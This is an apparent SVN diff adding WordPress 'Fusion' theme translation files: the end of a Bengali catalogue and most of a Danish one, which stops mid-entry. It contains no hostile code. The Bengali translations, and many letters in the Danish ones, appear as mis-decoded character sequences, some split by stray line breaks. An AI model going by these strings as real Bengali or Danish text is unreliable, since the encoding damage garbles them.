+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "àŠ®à§àŠ² àŠªàŠŸàŠ€àŠŸà§ àŠ¯à§àŠ€à§ àŠà§àŠ²àŠ¿àŠ àŠàŠ°à§àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "àŠªà§àŠžà§àŠà§àŠ° àŠ€àŠŸàŠ°àŠ¿àŠ -"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "àŠ¶à§àŠ°à§àŠ£à§ - "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "àŠàŠªàŠšàŠ¿ àŠàŠ àŠšàŠ¿àŠ¬àŠšà§àŠ§à§àŠ° àŠàŠ¬àŠŸàŠ¬ àŠà§àŠ²à§ àŠ
+àŠšà§àŠžàŠ°àŠŸàŠš àŠàŠ°àŠ€à§ àŠªàŠŸàŠ°à§àŠš: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "àŠàŠªàŠšàŠ¿ <a href=\"#respond\">àŠ®àŠ€àŠŸàŠ®àŠ€ </a> àŠ°àŠŸàŠàŠ€à§ àŠªàŠŸàŠ°à§àŠš, àŠ¬àŠŸ àŠàŠªàŠšàŠŸàŠ° àŠšàŠ¿àŠ àŠžàŠŸàŠàŠ àŠ¥à§àŠà§ <a href=\"%s\" rel=\"trackback\">àŠà§àŠ°à§àŠ¯àŠŸàŠàŠ¬à§àŠ¯àŠŸàŠ</a> àŠàŠ°àŠ€à§ àŠªàŠŸàŠ°à§àŠšà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€ àŠàŠ°àŠŸ àŠ¬àŠšà§àŠ§ àŠ°à§à§àŠà§, àŠàŠ¿àŠšà§àŠ€à§ àŠàŠªàŠšàŠ¿ àŠàŠªàŠšàŠ¿àŠ° àŠšàŠ¿àŠ àŠžàŠŸàŠàŠ àŠ¥à§àŠà§ <a href=\"%s\" rel=\"trackback\">àŠà§àŠ°à§àŠ¯àŠŸàŠ àŠ¬à§àŠ¯àŠŸàŠ</a> àŠàŠ°àŠ€à§ àŠªàŠŸàŠ°à§àŠšà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "àŠàŠªàŠšàŠ¿ àŠ¶à§àŠ·à§ àŠàŠ¿à§à§ àŠ®àŠ€àŠŸàŠ®àŠ€ àŠ°àŠŸàŠàŠ€à§ àŠªàŠŸàŠ°à§àŠšà¥€ àŠªàŠ¿àŠà§àŠ àŠ¬àŠšà§àŠ§ àŠàŠà§à¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€ àŠ àŠªàŠ¿àŠà§àŠ - àŠàŠ­à§àŠ àŠ¬àŠšà§àŠ§ àŠàŠà§à¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "àŠžàŠ®à§àŠªàŠŸàŠŠàŠšàŠŸ àŠàŠ°à§àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "àŠŠà§àŠàŠà§àŠ·àŠ¿àŠ€, àŠàŠªàŠšàŠŸàŠ° àŠàŠŸàŠ¹àŠ¿àŠŠàŠŸ àŠ®à§àŠ€àŠŸàŠ¬à§àŠ àŠà§àŠšàŠ àŠžàŠàŠ¯à§àŠàŠšà§ àŠšà§àŠà¥€ "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "àŠªàŠŸàŠà§àŠŸ àŠ¯àŠŸà§ àŠšàŠ¿"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "àŠŠà§àŠàŠà§àŠ·àŠ¿àŠ€, àŠàŠªàŠšàŠ¿ àŠ¯àŠŸ àŠà§àŠàŠàŠà§àŠš àŠ€àŠŸ àŠàŠàŠŸàŠšà§ àŠšà§àŠà¥€ "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "àŠ²àŠ¿àŠà§àŠàŠ "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "àŠàŠ àŠªàŠŸàŠ€àŠŸàŠ° àŠ¬àŠŸàŠà§ àŠ
+àŠàŠ¶àŠà§àŠà§ àŠªà§à§àŠš &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "àŠ«àŠ²àŠŸàŠ«àŠ²"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "àŠà§àŠšàŠ àŠªà§àŠžà§àŠ àŠªàŠŸàŠà§àŠŸ àŠ¯àŠŸà§ àŠšàŠ¿, àŠ
+àŠšà§àŠ¯ àŠàŠ¿àŠà§àŠ° àŠ
+àŠšà§à§àŠžàŠšà§àŠ§àŠŸàŠš àŠàŠ°àŠ¬à§àŠš?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "àŠ
+àŠšà§àŠžàŠšà§àŠ§àŠŸàŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "àŠàŠªàŠšàŠ¿ àŠàŠàŠš %1$s àŠàŠ° àŠàŠ°à§àŠàŠŸàŠàŠ­ àŠŠà§àŠàŠà§àŠšà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "àŠàŠªàŠšàŠ¿ àŠàŠàŠš %1$s àŠàŠ° àŠàŠ°à§àŠàŠŸàŠàŠ­ àŠŠà§àŠàŠà§àŠšà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "àŠàŠªàŠšàŠ¿ àŠàŠàŠš %1$s àŠàŠ° àŠàŠ°à§àŠàŠŸàŠàŠ­ àŠŠà§àŠàŠà§àŠšà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "àŠàŠªàŠšàŠ¿ àŠàŠ°à§àŠàŠŸàŠàŠ­à§ àŠ
+àŠšà§àŠžàŠšà§àŠ§àŠŸàŠš àŠàŠ°à§àŠà§àŠš: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "àŠàŠªàŠšàŠ¿ àŠàŠàŠš àŠàŠ°à§àŠàŠŸàŠàŠ­ àŠŠà§àŠàŠà§àŠšà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "àŠàŠ°à§àŠàŠŸàŠàŠ­ àŠžàŠ®à§àŠ¹"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "àŠ®à§àŠàŠŸ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "àŠŠà§àŠàŠà§àŠ·àŠ¿àŠ€, àŠàŠªàŠšàŠŸàŠ° àŠàŠŸàŠ¹àŠ¿àŠŠàŠŸ àŠ®à§àŠ€àŠŸàŠ¬à§àŠ àŠà§àŠšàŠ àŠªà§àŠžà§àŠ àŠªàŠŸàŠà§àŠŸ àŠ¯àŠŸà§ àŠšàŠ¿"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/da_DK.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/da_DK.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/da_DK.po	(revision 44)
@@ -0,0 +1,514 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-12 12:25+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Hans Czajkowski JÃžrgensen <hans.c.jorgensen@gmail.com>\n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Danish\n"
+"X-Poedit-Country: DENMARK\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:8
+msgid "Page not found (404)"
+msgstr "Side ikke fundet (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:12
+msgid "Archive for category"
+msgstr "Arkiv over kategorien"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:14
+msgid "Posts Tagged"
+msgstr "IndlÃŠg tagget med"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:18
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:20
+msgid "Archive for"
+msgstr "Arkiv over"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:200
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:19
+msgid "F jS, Y"
+msgstr " j. F, Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:18
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+msgid "F, Y"
+msgstr "F, Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:20
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:22
+msgid "Author Archive"
+msgstr "Forfatterarkiv"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:24
+msgid "Blog Archives"
+msgstr "Blogarkiv"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:32
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:13
+msgid "Permanent Link to"
+msgstr "Permanent link til"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:19
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "Lagt op af %s i %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:19
+#, php-format
+msgid "Posts by %s"
+msgstr "IndlÃŠg af %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:19
+msgid "on"
+msgstr "den"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:18
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:27
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:20
+msgid "Read the rest of this entry &raquo;"
+msgstr "LÃŠst resten af dette indlÃŠg &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:58
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:39
+msgid "No Comments"
+msgstr "Ingen Kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:58
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:39
+msgid "1 Comment"
+msgstr "1 Kommentar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:58
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:39
+msgid "% Comments"
+msgstr "% Kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:69
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:51
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Ãldre IndlÃŠg"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:70
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+msgid "Newer Entries &raquo;"
+msgstr "Nyere IndlÃŠg &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Vi er ked af at mÃ¥tte sige det, men der er endnu ikke nogen indlÃŠg i kategorien %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Vi er ked af at mÃ¥tte sige det, men der er ikke nogen indlÃŠg fra denne dato."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:82
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Vi er ked af at mÃ¥tte sige det, men %s har endnu ikke skrevet nogle indlÃŠg."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:84
+msgid "No posts found."
+msgstr "Ingen indlÃŠg fundet"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "MÃ¥nedlige Arkiver:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:15
+msgid "Archives by Subject:"
+msgstr "Emneopdelte Arkiver:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments-popup.php:24
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:34
+msgid "Comments"
+msgstr "Kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments-popup.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:56
+msgid "No comments yet."
+msgstr "Endnu ingen kommentarer."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments-popup.php:57
+msgid "Leave a comment"
+msgstr "Skriv en kommentar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments-popup.php:94
+msgid "Sorry, the comment form is closed at this time."
+msgstr "Vi er ked af at mÃ¥tte sige det, men kommentarformularen er lukket p.t."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments-popup.php:99
+msgid "Close this window."
+msgstr "Luk dette vindue."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments-popup.php:105
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:68
+msgid "Sorry, no posts matched your criteria."
+msgstr "Vi er ked af at mÃ¥tte sige det, men der var ingen indlÃŠg som matchede dine kriterier."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:15
+msgid "Enter your password to view comments"
+msgstr "Indtast dit kodeord for at se kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:35
+msgid "Trackbacks"
+msgstr "Trackbacks"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Du skal vÃŠre <a href=\"%s\">logget ind</a> fÃžr du kan poste en kommentar."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:98
+msgid "Logged in as"
+msgstr "Logget ind som"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:99
+msgid "Log out of this account"
+msgstr "Log ud af denne konto"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:99
+msgid "Logout &raquo;"
+msgstr "Log ud &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:104
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Hej igen, <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:105
+msgid "Change &raquo;"
+msgstr "Ãndr &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Close &raquo;"
+msgstr "Luk &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:112
+msgid "Name"
+msgstr "Navn"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:112
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:116
+msgid "(required)"
+msgstr "(pÃ¥krÃŠvet)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:116
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:116
+msgid "(will not be published)"
+msgstr "(bliver ikke vist offentligt)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:120
+msgid "Website"
+msgstr "Website"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Submit Comment"
+msgstr "Indsend Kommentar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:144
+msgid "Subscribe to comments feed"
+msgstr "Abonner pÃ¥ kommentar-feedet"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:164
+msgid "No trackbacks yet."
+msgstr "Endnu ingen trackbacks."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:175
+msgid "Comments are closed."
+msgstr "Lukket for kommentarer."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Fusion tema af"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "drevet af"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "IndlÃŠg (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "og"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "Kommentarer (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:85
+msgid "Fusion Theme Options"
+msgstr "Fusion Tema Indstillingsmuligheder"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Meta keywords:"
+msgstr "Meta keywords:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:89
+msgid "Separate with commas"
+msgstr "adskil med kommaer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:94
+msgid "Use custom logo image"
+msgstr "Brug eget logobillede"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:94
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Upload dit logo som \"logo.png\" i temaets mappe:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:94
+msgid "You should export the logo image with transparency enabled"
+msgstr "Logoet bÃžr eksporteres med transparens slÃ¥et til"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:99
+msgid "Disable homepage tab"
+msgstr "SlÃ¥ forside-flappen fra"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:99
+msgid "Check this if you are using a static page as the homepage"
+msgstr "SÃŠt kryds hvis du benytter en statisk side som forside"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:104
+msgid "Show the categories as header tabs"
+msgstr "Vis kategorier som sidehoved-flapper"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:104
+msgid "(instead of pages)"
+msgstr "(istedet for sider)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:109
+msgid "Disable the default category block in the sidebar"
+msgstr "SlÃ¥ kategoriblokken i sidebar'en fra (slÃ¥et til som standard)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:109
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "SÃŠt kryds hvis du foretrÃŠkker den widget-agtige mÃ¥de at vise kategorier pÃ¥, eller hvis du blot vil gemme kategorierne"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:114
+msgid "Disable the default search block in the sidebar"
+msgstr "SlÃ¥ sÃžgeblokken i sidebar'en fra (slÃ¥et til som standard)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:114
+msgid "Check if you don't like the theme-default search look"
+msgstr "SÃŠt kryds hvis du ikke bryder dig om temaets standardmÃ¥de at vise sÃžgning pÃ¥"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:119
+msgid "Disable the \"<>\" layout-type switcher"
+msgstr "SlÃ¥ layout-type skifteren \"<>\" fra"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:121
+msgid "Default page content width:"
+msgstr "Standardbredde af sidens indhold:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Fixed (960 pixels)"
+msgstr "Fast (960 pixels)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:128
+#, php-format
+msgid "Fluid (95% of the visitor's screen width)"
+msgstr "Flydende (95% af den besÃžgende browsers bredde)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:129
+msgid "Note that if the layout-type switcher is enabled, the visitor's javascript cookie setting will override this option"
+msgstr "VÃŠr opmÃŠrksom pÃ¥, at den besÃžgendes eventuelle indstillinger gemt i javascript cookies vil have hÃžjere prioritet, og derfor vÃŠre bestemmende for layout-typen selvom layout-type skifteren er slÃ¥et til. "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:133
+msgid "Sidebar position:"
+msgstr "Sidebarposition:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Right (default)"
+msgstr "HÃžjre (standard)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:140
+msgid "Left"
+msgstr "Venstre"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:146
+msgid "Disable jQuery and the associated code"
+msgstr "SlÃ¥ JQuery og dertil hÃžrende kode fra"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:146
+msgid "This will reduce the page load with ~40 KB, but will also disable some features (layout-control, rss links inside category menu, comment tabs, trackbacks) and all effects.<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Dermed vil du reducere sidens stÃžrrelse med ~40 KB, men du vil ogsÃ¥ slÃ¥ nogle features fra (layout-skifter, rss-links i kategorimenuen, kommentarflapper, trackbacks) samt alle effekter.<br />Du bÃžr ikke ÃŠndre pÃ¥ denne indstilling medmindre du har problemer med din host vedrÃžrende bÃ¥ndbredde"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:150
+msgid "Save Changes"
+msgstr "Gem Ãndringer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:194
+msgid "by"
+msgstr "af"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:200
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s kl. %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:200
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+msgid "Your comment is awaiting moderation."
+msgstr "Din kommentar afventer gennemlÃŠsning."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:211
+msgid "Reply"
+msgstr "Besvar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:211
+msgid "Quote"
+msgstr "CitÃ©r"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:129
+msgid "You are Home"
+msgstr "Du er pÃ¥ Forsiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:129
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:131
+msgid "Home"
+msgstr "Forsiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:131
+msgid "Click for Home"
+msgstr "Klik for Forsiden"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:31
+msgid "This entry was posted on"
+msgstr "Dette indlÃŠg blev publiceret"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:33
+msgid "and is filed under"
+msgstr "og er arkiveret under"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:36
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:36
+msgid "You can follow any responses to this entry through"
+msgstr "Du kan fÃžlge reaktionerne pÃ¥ dette indlÃŠg via"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:41
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Du kan <a href=\"#respond\">skrive et svar</a>, eller <a href=\"%s\" rel=\"trackback\">trackback</a> fra dit eget website."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:45
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Der er p.t. lukket for besvarelser, men du kan <a href=\"%s\" rel=\"trackback\">trackback</a> fra dit eget website."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:49
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Du kan springe direkte til bunden og lÃŠgge et svar. Det er p.t. ikke tilladt at pinge."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:53
+msgid "Both comments and pings are currently closed."
+msgstr "SÃ¥vel kommentarer som pings er lukkede p.t."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:56
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:56
+msgid "Edit this entry"
+msgstr "Rediger dette indlÃŠg"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:68
+msgid "Sorry, no attachments matched your criteria."
+msgstr "DesvÃŠrre, der var ingen vedhÃŠftede filer, som matchede dine kriterier"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:59
+msgid "Not Found"
+msgstr "Ikke Fundet"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Vi er kede af at mÃ¥tte sige det, men du leder efter noget som ikke er her."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:8
+msgid "Links:"
+msgstr "Links:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:13
+msgid "Read the rest of this page &raquo;"
+msgstr "LÃŠs resten af denne side &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:10
+msgid "Search Results"
+msgstr "SÃžgeresultater"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:36
+msgid "No posts found. Try a different search?"
+msgstr "Der blev ikke fundet nogen indlÃŠg. PrÃžv en anden sÃžgning?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "SÃžg"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "Du gennemser arkiverne over kategorien %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "Du gennemser arkiverne over %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
